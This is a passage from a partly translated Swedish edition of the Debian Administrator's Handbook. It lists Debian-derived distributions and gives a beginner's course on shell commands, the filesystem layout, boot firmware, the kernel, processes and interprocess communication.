→ https://kali.org

A.9. Devuan

Devuan is a fork of Debian started in 2014 as a reaction to the decision made by Debian to switch to systemd as the default init system. A group of users attached to sysv and opposing drawbacks to systemd started Devuan with the objective of maintaining a systemd-less system.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux targets young children (starting from 2 years old). To achieve this goal, it provides a heavily customized graphical interface (based on LXDE) and comes with many games and educative applications. Internet access is filtered to prevent children from visiting problematic websites. Advertisements are blocked. The goal is that parents should be free to let their children use their computer once booted into DoudouLinux. And children should love using DoudouLinux, just like they enjoy their gaming console. Unfortunately this distribution hasn't seen any active development in the recent years.

→ https://doudoulinux.org

A.11. Raspbian

Raspbian is a rebuild of Debian optimized for the popular (and inexpensive) Raspberry Pi family of single-board computers. The recent release of Raspbian for the arm64 architecture is no longer a rebuild, though. Instead it runs a pristine Debian Bullseye. The project just adds some extra packages, especially a custom kernel, to fully support the hardware.

→ https://raspbian.org

Debian also provides own images for several Raspberry Pi devices.

→ https://raspi.debian.net/

A.12. PureOS

PureOS is a Debian-based distribution focused on privacy, convenience and security. It follows the GNU Free System Distribution Guidelines, used by the Free Software Foundation to qualify a distribution as free. The social purpose company Purism guides its development.

→ https://pureos.net/

A.13. SteamOS

SteamOS is a gaming-oriented Debian-based distribution developed by Valve Corporation. It is used in the Steam Machine, a line of gaming computers. The upcoming release 3.0 will, however, use Arch Linux as platform.

→ https://store.steampowered.com/steamos/

A.14. Och många andra

Webbplatsen DistroWatch har referenser till ett stort antal Linux-distributioner, varav många är baserade på Debian. Att bläddra runt på denna webbplats är ett bra sätt att få en känsla för mångfalden i världen för fri programvara.

→ https://distrowatch.com

The search form can help track down a distribution based on its ancestry. In April 2021, selecting Debian led to 154 active distributions!

→ https://distrowatch.com/search.php

Appendix B. Kort snabbkurs

Även om denna bok i huvudsak har administratörer och avancerade användare som målgrupp vill vi inte exkludera motiverade nybörjare. Denna bilaga kommer därför att utgöra en snabbkurs som beskriver de grundläggande koncepten som inbegrips i att hantera en Unix-dator.

B.1. Skalet och grundläggande kommandon

I Unix-världen måste varje administratör använda kommandoraden förr eller senare; till exempel när systemet misslyckas med att starta upp korrekt och endast tillgängliggör ett räddningsläge med en kommandorad. Att kunna hantera ett sådant gränssnitt är därför en grundläggande överlevnadskunskap under dessa förutsättningar.

SNABBTITT Starta kommandotolken

A command-line environment can be run from the graphical desktop, by an application known as a “terminal”. In GNOME, you can start it from the “Activities” overview (that you get when you move the mouse in the top-left corner of the screen) by typing the first letters of the application name. In Plasma (and many other desktop variants), you will find it in the applications menu Applications → System menu.

Detta avsnitt ger endast en snabbtitt på kommandona. De har alla flertalet flaggor som inte beskrivs här, så referera till den rikliga dokumentationen i deras respektive manualsidor.

B.1.1. Att bläddra i katalogstrukturen och att hantera filer

När en session är öppen visar kommandot pwd (som står för print working directory, skriv ut arbetskatalog) den aktuella platsen i filsystemet. Den aktuella katalogen ändras med kommandot cd katalog (cd är kort för change directory, byt katalog). Föräldrakatalogen kallas alltid .. (två punkter), medan den aktuella katalogen också är känd som . (en punkt). Kommandot ls möjliggör listning av innehållet i en katalog. Om inga parametrar anges arbetar det på den aktuella katalogen.

$ pwd /home/rhertzog $ cd Desktop $ pwd /home/rhertzog/Desktop $ cd . $ pwd /home/rhertzog/Desktop $ cd .. $ pwd /home/rhertzog $ ls Desktop Downloads Pictures Templates Documents Music Public Videos

En ny katalog kan skapas med mkdir katalog, och en existerande (tom) katalog kan tas bort med rmdir katalog. Kommandot mv möjliggör förflyttning (moving) och/eller namnbyte för filer och kataloger; borttagning av en fil åstadkoms med rm fil.

$ mkdir test $ ls Desktop Downloads Pictures Templates Videos Documents Music Public test $ mv test new $ ls Desktop Downloads new Public Videos Documents Music Pictures Templates $ rmdir new $ ls Desktop Downloads Pictures Templates Videos Documents Music Public

B.1.2. Visa och modifiera textfiler

Kommandot cat fil (avsett att konkatenera filer till enheten standard ut) läser en fil och visar dess innehåll i terminalen. Om en fil är för stor för att få plats på en skärm, använd en sidvisare så som less (eller more) för att visa den sida för sida.

Kommandot editor startar en textredigerare (så som vi eller nano) och tillåter skapande, modifiering och läsning av textfiler. De enklaste filerna kan ibland skapas direkt från kommandotolken tack vare omdirigering: echo "text" > fil skapar en fil vid namn fil med innehållet ”text”. Att lägga till en rad på slutet av filen är också möjligt, med ett kommando så som echo "mertext" >>fil. Notera >> i detta exempel.

B.1.3. Att söka efter filer och inom filer

Kommandot find katalog kriterier letar efter filer i hierarkin under katalog enligt flertalet kriterier. Det vanligaste kriteriet är -name namn: detta möjliggör sökning efter en fil efter namn.

Kommandot grep uttryck filer genomsöker innehållet i filerna och extraherar rader som matchar det reguljära uttrycket (se sidopanelen BACK TO BASICS Regular expression). Att lägga till flaggan -r aktiverar en rekursiv sökning av alla filer som finns i katalogen som anges som parameter. Detta möjliggör sökning efter en fil när endast en del av dess innehåll är känt.

B.1.4. Hantera processer

Kommandot ps aux listar processerna som för närvarande kör och hjälper till att identifiera dem genom att visa deras pid (process-ID). När pid för en process är känt låter kommandot kill -signal pid en signal skickas till processen (om processen tillhör den aktuella användaren). Flera signaler existerar; vanligast är TERM (en begäran om att graciöst avsluta programmet) och KILL (en påtvingad död).

Kommandotolken kan också köra program i bakgrunden om kommandot åtföljs av ett ”&”. Genom att använda och-tecknet återfår användare kontrollen av skalet omedelbart även om programmet fortfarande kör (gömt från användaren; som en bakgrundsprocess). Kommandot jobs listar processerna som kör i bakgrunden; för att återuppta ett jobb i förgrunden kör fg %job-number (som i förgrund). När ett kommando kör i förgrunden (antingen för att det startades normalt, eller återupptaget i förgrunden med fg), kan tangentkombinationen Ctrl+Z användas för att pausa processen och återuppta kontrollen av kommandoraden. Processen kan sedan återstartas i bakgrunden med bg %job-number (efter bakgrund).

B.1.5. Systeminformation: Minne, diskutrymme, identitet

Kommandot free visar information om minnet; df (disk free, ledig disk) rapporterar om tillgängligt diskutrymme på vardera av de monterade diskarna i filsystemet. Dess flagga -h (för human readable, mänskligt läsbar) konverterar storlekarna till en mer lättförståelig enhet (vanligtvis mebibyte eller gibibyte). På samma sätt har kommandot free stöd för flaggorna -m och -g och visar då data antingen i mebibyte eller gibibyte.

$ free total used free shared buff/cache available Mem: 16279260 5910248 523432 871036 9845580 9128964 Swap: 16601084 240640 16360444 $ df Filesystem 1K-blocks Used Available Use% Mounted on udev 8108516 0 8108516 0% /dev tmpfs 1627928 161800 1466128 10% /run /dev/mapper/vg_main-root 466644576 451332520 12919912 98% / tmpfs 8139628 146796 7992832 2% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 8139628 0 8139628 0% /sys/fs/cgroup /dev/sda1 523248 1676 521572 1% /boot/efi tmpfs 1627924 88 1627836 1% /run/user/1000

Kommandot id visar identiteten för användare som kör sessionen, tillsammans med listan över grupper som de är medlemmar i. Då åtkomst till vissa filer eller enheter kan vara begränsat till gruppmedlemmar kan det vara användbart att kontrollera gruppmedlemskap.

$ id uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organisation av filsystemshierarkin

B.2.1. Rotkatalogen

Ett Debian-system organiseras enligt Filesystem Hierarchy Standard (FHS, Standarden för filsystemshierarki). Denna standard definierar syftet med varje katalog. Toppnivåkatalogerna beskrivs till exempel enligt följande:

/bin/: grundläggande program;

/boot/: Linux-kärna och andra filer som krävs för dess tidiga uppstart;

/dev/: enhetsfiler;

/etc/: konfigurationsfiler;

/home/: användares personliga filer;

/lib/: grundläggande bibliotek;

/media/*: monteringspunkter för flyttbara enheter (CD-ROM, USB-nycklar och så vidare);

/mnt/: temporär monteringspunkt;

/opt/: extra program som tillhandahålls av tredjepart;

/root/: administratörens (roots) personliga filer;

/run/: flyktig körtidsdata som inte består mellan omstarter;

/sbin/: systemprogram;

/srv/: data som används av servrar som är värdar på detta system;

/tmp/: temporära filer; denna katalog töms ofta vid uppstart;

/usr/: program; denna katalog är vidare uppdelad i bin, sbin, lib (enligt samma logik som i rotkatalogen). Vidare innehåller /usr/share/ arkitekturoberoende data. /usr/local/ är avsedd att användas av administratören för att installera program manuellt utan att skriva över filer som hanteras av paketsystemet (dpkg).

/var/: variabel data som hanteras av demoner. Detta inkluderar loggfiler, köer, köfiler, cachar och så vidare.

/proc/ och /sys/ är specifika för Linux-kärnan (och är inte en del av FHS). De används av kärnan för att exportera data till användarrymden (se Avsnitt B.3.4, ”Användarrymden” och Avsnitt B.5, ”Användarrymden” för förklaringar om detta koncept).

Observera att många moderna distributioner, inklusive Debian, skeppar /bin/, /sbin/ och /lib/ som symlänkar till dom motsvarande katalogerna under /usr/ så att alla program och bibliotek finns tillgängliga i ett enda träd. Detta gör det enklare att skydda systemfilernas integritet och att dela systemfilerna mellan flera containers etc.

B.2.2. Användarens hemkatalog

Innehållet i en användares hemkatalog är inte standardiserat, men det finns trots detta ett antal noterbara konventioner. En är att en användares hemkatalog ofta refereras till genom tilde (”~”). Detta är användbart att känna till eftersom kommandotolkar automatiskt ersätter ett tilde med den korrekta katalogen (vanligen /home/användare/).

Traditionellt lagras konfigurationsfiler för program direkt under användarens hemkatalog, men deras namn inleds vanligtvis med en punkt (t.ex. så lagrar e-postklienten mutt sin konfiguration i ~/.muttrc). Notera att filnamn som börjar med punkt göms som standard; och ls listar endast dem när flaggan -a används, och grafiska filhanterare måste ombes att visa gömda filer.

Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/). Some applications also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.

These configuration files stored directly in a user's home directory, often collectively referred to as dotfiles, have long proliferated to the point that these directories can be quite cluttered with them. Fortunately, an effort led collectively under the FreeDesktop.org umbrella has resulted in the “XDG Base Directory Specification”, a convention that aims at cleaning up these files and directories. This specification states that configuration files should be stored under ~/.config/, cache files under ~/.cache/, and application data files under ~/.local/ (or subdirectories thereof). This convention is slowly gaining traction, and several applications (especially graphical ones) have started following it.

Grafiska skrivbord visar vanligtvis innehåller i katalogen ~/Skrivbord/ (eller vad nu den lämpliga översättningen är för system som inte konfigurerats på svenska) på skrivbordet (dvs. det som är synligt på skärmen när alla program är stängda eller ikoniserade).

Avslutningsvis så lagrar e-postsystem inkommande e-postmeddelanden i en katalog ~/Mail/.

B.3. Hur en dator fungerar inuti: de olika lagren som är inblandade

En dator betraktas ofta som något ganska abstrakt, och det synliga externa gränssnittet är mycket enklare än dess inre komplexitet. Sådan komplexitet kommer från antalet delar som är involverade. Dessa delar kan dock betraktas i lager, där ett lager endast interagerar med de direkt ovanför eller under.

En slutanvändaren kan klara sig utan att känna till dessa detaljer… så länge allt fungerar. Vid konfrontation med ett problem så som ”Internet fungerar inte!”, är det första man ska göra att försöka identifiera i vilket lager felet uppstår. Fungerar nätverkskortet (hårdvara)? Hittas det av datorn? Kan Linux-kärnan se det? Är nätverksparametrarna korrekt konfigurerade? Alla dessa frågor isolerar ett specifikt lager och fokuserar på en potentiell källa till problemet.

B.3.1. Det djupaste lagret: hårdvaran

Låt oss börja med den inledande påminnelsen om att en dator i första hand är en uppsättning hårdvarudelar. Generellt finns det ett huvudkort (känt som moderkort) med en processor (eller flera processorer), lite RAM, styrenheter för andra enheter, platser för expansionskort (med styrenheter för andra enheter). Väsentliga bland dessa styrenheter är IDE (Parallell ATA), SCSI och Seriell ATA, då dessa ansluter lagringsenheter så som hårddiskar. Andra styrenheter inkluderar USB, som kan användas för att ansluta en stor mängd enheter (allt från webbkameror till termometrar, från tangentbord till hemautomationssystem) och IEEE 1394 (Firewire). Dessa styrenheter tillåter ofta anslutning av flera enheter, vilket leder till att det fullständiga undersystemet som hanteras av en styrenhet ofta refereras till som en ”buss”. Expansionskort inkluderar grafikkort (till vilket bildskärmar ansluts), ljudkort, nätverkskort, o.s.v. Vissa moderkort har dessa funktioner inbyggda, och behöver därför inte expansionskort.

I PRAKTIKEN Kontrollera att hårdvaran fungerar

Att kontrollera att en bit hårdvara fungerar kan vara knepigt. Att bevisa att den inte fungerar kan å andra sidan vara ganska enkelt.

En hårddisk består av snurrande plattor och flyttbara magnetiska huvuden. När en hårddisk strömsätts hörs ett karakteristiskt ljud från motorn som snurrar plattorna. Den avger också energi i form av värme. En hårddisk som förblir kall och tyst när den får ström är därför sannolikt trasig.

Nätverkskort har ofta LED:ar som visar tillståndet för länken. Om en kabel som leder till en fungerande nätverkshubb eller switch ansluts kommer åtminstone en LED att tändas. Om ingen LED tänds är antingen kortet självt, nätverksenheten eller kabeln mellan dem trasig. Nästa steg är därför att testa varje komponent individuellt.

Vissa expansionskort — speciellt 3D-grafikkort — har kylningsenheter, så som kylflänsar och/eller fläktar. Om fläkten inte snurrar även om kortet är strömsatt är en trolig förklaring att kortet är överhettat. Detta gäller också för processorn som finns på moderkortet.

B.3.2. Uppstartaren: BIOS eller UEFI

Hårdvara kan inte på egen hand utföra nyttiga uppgifter utan en motsvarande programvara som driver den. Att kontrollera och interagera med hårdvaran är därför syftet för operativsystemet och programmen. Dessa, å sin sida, kräver fungerande hårdvara för att köra.

This symbiosis between hardware and software does not happen on its own. When the computer is first powered up, some initial setup is required. This role is assumed by the BIOS or UEFI, a piece of software embedded into the main board that runs automatically upon power-up. Its primary task is searching for software it can hand over control to. Usually, as you may have learned in Avsnitt 9.1, ”Systemstart”, in the BIOS case, this involves looking for the first hard disk with a boot sector (also known as the master boot record or MBR), loading that boot sector, and running it. From then on, the BIOS is usually not involved (until the next boot). In the case of UEFI, the process involves scanning disks to find a dedicated EFI partition containing further EFI applications to execute.

VERKTYG Inställning, BIOS/UEFI-konfigurationsverktyget

The BIOS/UEFI also contains a piece of software called Setup, designed to allow configuring aspects of the computer. In particular, it allows choosing which boot device is preferred (for instance, you can select a USB key or a CD-ROM drive instead of the default harddisk), setting the system clock, and so on. Starting Setup usually involves pressing a key very soon after the computer is powered on. This key is often Del or Esc, sometimes F2, F5, F8, or F10. Most of the time, the choice is flashed on screen while booting. If not, you best check the manual of your mainboard or your computer.

Startsektorn (eller EFI-partitionen) innehåller en annan bit programvara som kallas startinläsaren, vars uppgift är att hitta och köra ett operativsystem. Då startinläsaren inte är inbyggd på moderkortet, utan läses in från disk, kan den vara smartare än BIOS, vilket förklarar varför BIOS inte läser in operativsystemet själv. Startinläsaren (ofta GRUB på Linux-system) kan till exempel lista de tillgängliga operativsystemen och be användaren att välja ett. Efter en tidsgräns finns vanligtvis ett standardval. Ibland kan användaren också välja att lägga till parametrar att skicka till kärnan, o.s.v. Slutligen hittas en kärna, läses in i minne och exekveras.

NOTERA UEFI, en modern ersättare för BIOS

BIOS (which stands for Basic Input/Output System) is a software that is included in the motherboard - the electronic board connecting all peripherals - and executed when the computer is booted, in order to load an operating system (via an adapted bootloader). It stays in the background to provide an interface between the hardware and the software (in our case, the Linux kernel).

In 2005/2006 its successor, the UEFI (Unified Extensible Firmware Interface) specification, has been published. This specification defines an interface that has the same purpose as the BIOS, but tries to provide more usability, extensibility, and flexibility, a graphical user interface, and true 64bit support. And it got rid of some of the limitations of BIOS booting: with the usage of a dedicated partition, the bootloaders no longer need special tricks to fit in a tiny master boot record and then discover the kernel to boot. Even better, with a suitably built Linux kernel, UEFI can directly boot the kernel without any intermediary bootloader. UEFI is also the basic foundation used to deliver Secure Boot, a technology ensuring that you run only software validated by your operating system vendor.

Nowadays, most new computers will boot in UEFI mode by default, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI. This is called the Compatibility Support Mode/Module (CSM). But, several manufacturers have either announced to cease support for the legacy BIOS mode in their UEFI implementation, or they already did. This transition, however, has not been without discussion nor without criticism.

BIOS/UEFI är också ansvarigt för att detektera och initiera ett antal enheter. Detta inkluderar självklart IDE-/SATA-enheter (vanligtvis hårddiskar och CD-/DVD-ROM-enheter), men också PCI-enheter. Detekterade enheter listas ofta på skärmen under uppstarten. Om denna lista går för snabbt kan Paus-tangenten användas för att frysa den länge nog för att den ska kunna läsas. Installerade PCI-enheter som inte syns här är ett dåligt omen. I värsta fall är enheten trasig. I bästa fall är den endast inkompatibel med den aktuella versionen av BIOS eller moderkortet. PCI-specifikationer utvecklas och gamla moderkort garanterar inte att de kan hantera nyare PCI-enheter.

B.3.3. Kärnan

Både BIOS/UEFI och startinläsaren kör endast ett par sekunder vardera; nu får vi den första biten programvara som kör under en längre tid, operativsystemets kärna. Denna kärna får rollen som dirigent i en orkester, och säkerställer koordinationen mellan hårdvara och programvara. Denna roll involverar flera uppgifter, inklusive: köra hårdvara, hantera processer, användare och rättigheter, filsystemet o.s.v. Kärnan tillhandahåller en gemensam bas för alla andra program på systemet.

B.3.4. Användarrymden

Även om allting som händer utanför kärnan kan samlas ihop under uttrycket ”användarrymd”, kan vi fortfarande separera det i olika lager av programvara. Interaktionen mellan dem är mer komplex än tidigare och klassifikationerna är inte lika enkla. Ett program använder vanligen bibliotek, vilka i sin tur blandar in kärnan, men kommunikationen kan också involvera andra program eller flera bibliotek som anropar varandra.

B.4. Vissa uppgifter hanteras av kärnan

B.4.1. Köra hårdvaran

Kärnan har, i första hand, uppgiften att kontrollera hårdvarudelarna, detektera dem, slå på dem när datorn är strömsatt o.s.v. Den gör dem också tillgängliga för programvara på högre nivå med ett förenklat programmeringsgränssnitt, så att program kan dra nytta av enheter utan att behöva känna till detaljer så som vilken expansionsport expansionskortet sitter i. Programmeringsgränssnittet tillhandahåller också ett abstraktionslager; detta låter till exempel videokonferenssystem använda en webbkamera oberoende av tillverkare och modell. Programvara kan helt enkelt använda gränssnittet Video for Linux (V4L, Video för Linux), varpå kärnan översätter funktionsanropen för detta gränssnitt till de hårdvarukommandon som behövs för den specifika webbkamera som används.

The kernel exports many details about detected hardware through the /proc/ and /sys/ virtual filesystems. Several tools summarize those details. Among them, lspci (in the pciutils package) lists PCI devices, lsusb (in the usbutils package) lists USB devices, and lspcmcia (in the pcmciautils package) lists PCMCIA cards. These tools are very useful for identifying the exact model of a device. This identification also allows more precise searches on the web, which in turn, lead to more relevant documents.

Exempel B.1. Exempel på information som tillhandahålls av lspci och lsusb

$ lspci [...] 00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers (rev 05) 00:01.0 PCI bridge: Intel Corporation 6th-9th Gen Core Processor PCIe Controller (x16) (rev 05) 00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04) 00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31) 00:14.2 Signal processing controller: Intel Corporation 100 Series/C230 Series Chipset Family Thermal Subsystem (rev 31) [...] 02:00.0 Network controller: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 32) 03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTL8411B PCI Express Card Reader (rev 01) 03:00.1 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 12) 04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd NVMe SSD Controller SM981/PM981/PM983 $ lsusb Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:5621 Realtek Semiconductor Corp. HD WebCam Bus 001 Device 002: ID 04ca:3016 Lite-On Technology Corp. Bus 001 Device 018: ID 145f:01bc Trust GXT 155 Gaming Mouse Bus 001 Device 004: ID 04f3:0c03 Elan Microelectronics Corp. ELAN:Fingerprint Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Dessa program har en flagga -v som listar ännu mer detaljerad information (som vanligen inte behövs). Avslutningsvis listar kommandot lsdev (i paketet procinfo) kommunikationsresurser som används av enheter.

Program får ofta tillgång till enheter genom speciella filer som skapas i /dev/ (se sidopanel TILLBAKA TILL GRUNDERNA Enhetsåtkomstbehörigheter). Dessa är speciella filer som representerar diskenheter (till exempel /dev/hda och /dev/sdc), partitioner (/dev/hda1/ eller /dev/sdc3), möss (/dev/input/mouse0), tangentbord (/dev/input/event0), ljudkort (/dev/snd/*), serieportar (/dev/ttyS*), o.s.v.

B.4.2. Filsystem

Filsystem är en av de väsentligaste aspekterna av kärnan. Unix-system sammanfogar alla lagrade filer i en enda hierarki, vilket låter användare (och program) komma åt data genom att endast känna till dess plats inom den hierarkin.

Startpunkten för detta hierarkiska träd kallas för roten, /. Denna katalog kan innehålla namngivna underkataloger. Till exempel är home en underkatalog till / som kallas /home/. Denna underkatalog kan i sin tur innehålla andra underkataloger, o.s.v. Varje katalog kan också innehålla filer, i vilka faktisk data kommer att lagras. Således refererar namnet /home/rmas/Skrivbord/hej.txt till en fil med namnet hej.txt lagrad i underkatalogen Skrivbord i underkatalogen rmas i katalogen home som finns i roten. Kärnan översätter mellan detta namngivningssystem och den riktiga fysiska lagringsplatsen på disk.

Till skillnad från andra operativsystem, finns det bara en sådan hierarki, och den kan integrera data från flera diskar. En av dessa diskar används som roten och de andras ”monteras” som kataloger i hierarkin (Unix-kommandot kallas mount (montera)); dess andra diskar är sedan tillgängliga under dessa ”monteringspunkter”. Detta tillåter lagring av användares hemkataloger (vanligtvis lagrade i /home/) på en annan hårddisk, vilken kommer att innehålla katalogerna rhertzog och rmas. När disken är monterad på /home/ kommer dessa kataloger att kunna nås på deras vanliga platser, och sökvägar så som /home/rmas/Skrivbord/hej.txt kommer att fortsätta fungera.

Det finns flera filsystemsformat, vilket motsvaras av att det finns många sätt att fysiskt lagra data på diskar. De mest kända är ext3 och ext4, men andra finns också. Till exempel så användes filsystemet vfat historiskt av operativsystemen DOS och Windows, vilket tillåter att hårddiskar kan fungera under Debian såväl som under Windows. Oavsett vilket så måste filsystem förberedas på en disk innan de kan monteras och denna operation kallas ”formatering”. Kommandon så som mkfs.ext3 (där mkfs står för MaKe FileSystem (skapa filsystem)) hanterar formatering. Dessa kommandon kräver, som en parameter, en enhetsfil som representerar den partition som ska formateras (till exempel /dev/sda1). Denna operation är destruktiv och bör endast köras en gång, förutom om man avsiktligen vill rensa ett filsystem och börja om från början.

Det finns också nätverksfilsystem, så som NFS, där data inte lagras på en lokal disk. Istället skickas data över nätverket till en server som lagrar och hämtar data vid behov. Filsystemsabstraktionen skyddar användaren från att behöva bry sig: filer förblir åtkomliga på det vanliga hierarkiska sättet.

B.4.3. Delade funktioner

Då ett antal funktioner används av all programvara är det vettigt att centralisera dem i kärnan. Delad filsystemshantering tillåter till exempel vilket program som helst att öppna en fil med namn, utan att behöva bry sig om var filen är lagrad fysiskt. Filen kan lagras på flera olika delar på en hårddisk, eller delad över flera hårddiskar, eller till och med lagrade på en fjärrfilserver. Delade kommunikationsfunktioner används av program för att utbyta data oberoende av hur data transporteras. Till exempel kan transport ske över en kombination av lokala eller trådlösa nätverk eller över en telefonlinje.

B.4.4. Hantera processer

En process är en körande instans av ett program. Detta kräver minne för att lagra både programmet självt och dess data. Kärnan är ansvarig för att skapa och spåra dem. När ett program kör tilldelar kärnan först lite minne åt programmet, och läser sedan in den körbara koden från filsystem in i detta minne, och börjar sedan köra koden. Den håller information om denna process, det mest väsentliga är ett identifikationsnummer känt som pid (processidentifierare).

Unix-liknande kärnor (inklusive Linux) kan, likt de flera moderna operativsystem, göra flera saker samtidigt. Med andra ord de tillåter att man kör flera processer ”samtidigt”. Det är faktiskt bara en process som kör åt gången, men kärnan delar in tiden i små intervall och kör varje process i turordning. Då dessa tidsintervall är väldigt korta (i storleksordningen millisekunder), ger detta illusionen av att processerna kör parallell, även om de i verkligheten endast är aktiva under vissa tidsintervall och sover resten av tiden. Kärnans jobb är att justera sina schemaläggningsalgoritmer för att behålla den illusionen, medan systemets globala prestanda maximeras. Om tidsintervallen är för långa kan ett program upplevas som att det inte är responsivt. Om intervallen är för korta förlorar systemet tid då uppgifter växlas mellan allt för fort. Dessa beslut kan justeras med processprioriteter. Högprioriterade processer kommer att köra under länge tidsintervall och oftare än lågprioriterade processer.

NOT Multiprocessorsystem (och varianter)

Begränsningen som beskrivits ovan, om att endast en process kan köra åt gången, gäller inte alltid. Den faktiska restriktionen är att det kan endast finnas en process som kör per processorkärna. Multiprocessorsystem, system med flera kärnor eller ”hypertrådar” låter flera processor köras parallellt. Samma tidsdelningssystem används fortfarande, för att hantera fall där det finns fler aktiva processer än det finns tillgängliga processorkärnor. Detta är långt i från ovanligt: ett grundläggande system, även ett mestadels vilande, har nästan alltid tiotals körande processer.

Kärnan tillåter förstås att flera oberoende instanser av samma program kör samtidigt. Men var och en kan endast använda sina egna tidsintervall och minne. Deras data förblir därmed oberoende.

B.4.5. Rättighetshantering

Unix-liknande system är också fleranvändarsystem. De tillhandahåller ett rättighetssystem som har stöd för separata användare och grupper; det tillåter också styrning av åtgärder baserade på rättigheter. Kärnan hanterar data för varje process, vilket låter den styra rättigheter. För det mesta identifieras en process av användaren som startade den. Den processen tillåts endast utföra de åtgärder som dess ägare kan utföra. Att försöka öppna en fil kräver till exempel att kärnan kontrollerar processidentiteten mot åtkomsträttigheter (för vidare information om detta specifika exempel se Avsnitt 9.3, ”Hantera behörigheter”).

B.5. Användarrymden

”Användarrymd” refererar till körtidsmiljön för normala processor (till skillnad mot kärnprocesser). Detta innebär inte nödvändigtvis att dessa processer faktiskt startades av användare då ett standardsystem normalt har flera ”demon”-processer (eller bakgrundsprocesser) körandes innan användaren ens öppnar en session. Demonprocesser anses också vara användarrymdsprocesser.

B.5.1. Process

När kärnan kommer förbi sin initieringsfas startar den den allra första processen, init. Process #1 är ensam sällan särskilt användbar, och Unix-liknande system kör med många flera processer.

För det första kan en process klona sig själv (detta är känt som fork). Kärnan allokerar ett nytt (men identiskt) minnesområde för processen, och en ny process som kan använda den. Vid denna tidpunkt är den enda skillnaden mellan dessa två processer deras pid. Den nya processen kallas vanligen en barnprocess, och originalprocessen vars pid inte ändras, kallas för föräldraprocessen.

Ibland fortsätter barnprocessen att leva sitt eget liv, oberoende från sin förälder, med sin egen data kopierad från föräldraprocessen. I många fall exekverar dock denna barnprocess ett annat program. Med ett fåtal undantag ersätts dess minne helt enkelt med det för det nya programmet och exekvering av detta nya program påbörjas. Detta är mekanismen som används av initprocessen (med processnummer 1) för att starta ytterligare tjänster och exekvera hela uppstartssekvensen. Vid en tidpunkt kommer en process bland inits barn att starta ett grafiskt gränssnitt genom vilket användare kan logga in (den faktiska sekvensen av händelser beskrivs i ytterligare detalj i Avsnitt 9.1, ”Systemstart”).

När en process avslutar uppgiften som var anledningen till att den startades så avslutas den. Kärnan återhämtar sedan minne som tilldelats till denna process och slutar ge den körtidsintervall. Föräldraprocessen informeras om att dess barnprocess avslutats, vilket låter en process vänta på att en uppgift som delegerats till en barnprocess slutförts. Detta beteende syns tydligt i kommandotolkar (kända som skal). När ett kommando matas in i ett skal, handlar det helt enkelt om att lägga till ett & på slutet av kommandot. Prompten visas igen inom kort vilket kan leda till problem om kommandot själv behöver skriva ut data.

B.5.2. Demoner

En ”demon” är en process som startats automatiskt av uppstartssekvensen. Den fortsätter köra (i bakgrunden) för att utföra underhållsuppgifter eller tillhandahålla tjänster till andra processer. Denna ”bakgrundsuppgift” är faktiskt slumpmässig och matchar inte någon särskild typ ur systemets synvinkel. De är helt enkelt processer, liknande andra processer, som kör i turordning när deras tidsintervall kommer. Skillnaden är endast i hur man talar om den: en process som kör utan interaktion med en användare (i synnerhet utan ett grafiskt gränssnitt) kallas för att den kör ”i bakgrunden” eller ”som en demon”.

VOKABULÄR Demon, ett nedsättande namn?

Även om namnet demon delar sin grekiska etymologi med demon, implicerar inte den föregående något djävulskt, utan istället bör det förstås som ett slags skyddsande. Denna distinktion är subtil nog på engelska (daemon respektive demon) ; det är än värre på andra språk (till exempel svenska) där samma ord används för båda betydelserna.

Flera sådana demoner beskrivs i detalj i Kapitel 9, Unixtjänster.

B.5.3. Interprocesskommunikation

En isolerad process, vare sig det är en demon eller ett interaktivt program, är sällan användbar på egen hand, vilket är anledning till att det finns flera sätt att låta separata processer kommunicera med varandra, antingen för att utbyta data eller för att styra varandra. Den generella termen för att referera till detta är interprocesskommunikation, eller IPC (efter engelskans Inter-Process Communication).

Det enklaste IPC-systemet är ett använda filer. Processen som önskar skicka data skriver denna till en fil (med ett förutbestämt namn), medan mottagaren endast behöver öppna filen och läsa dess innehåll.

I fallet där du inte önskar spara data på disk kan du använda en rörledning, vilket helt enkelt är ett objekt med två ändar; byte skrivs i en ände och kan läsas i den andra. Om ändarna styrs av olika processer leder detta till en enkel och behändig kanal för interprocesskommunikation. Rörledningar kan klassificeras i två kategorier: namngivna rörledningar och anonyma rörledningar. En namngiven rörledning representeras av en post i filsystemet (även om den överförda datan inte lagras där), så att båda processerna kan öppna den oberoende av varandra så länge platsen för den namngivna rörledningen är förutbestämd. I fall när kommunicerande processer är relaterade (till exempel en föräldraprocess och dess barnprocess) kan föräldraprocessen också skapa en anonym rörledning innan forkning, och därför kommer barnet att ärva den. Båda processerna kommer sedan kunna utbyta data via rörledningen utan att behöva involvera filsystemet.

I PRAKTIKEN Ett konkret exempel

Låt oss beskriva i detalj vad som händer när ett komplext kommando (en rörledning) körs från ett skal. Vi antar att vi har en bash-process (standardskalet på Debian), med pid 4374; i detta skal matar vi in kommandot: ls | sort.

Skalet tolkar först kommandot som matats in. I vårt fall förstår det att det finns två program(ls och sort), med en dataström som flödar från ett till ett annat (betecknat av tecknet |, känt som rörledning). bash skapar först en icke namngiven rörledning (som i inledningsskedet endast existerar inom bash-processen själv).

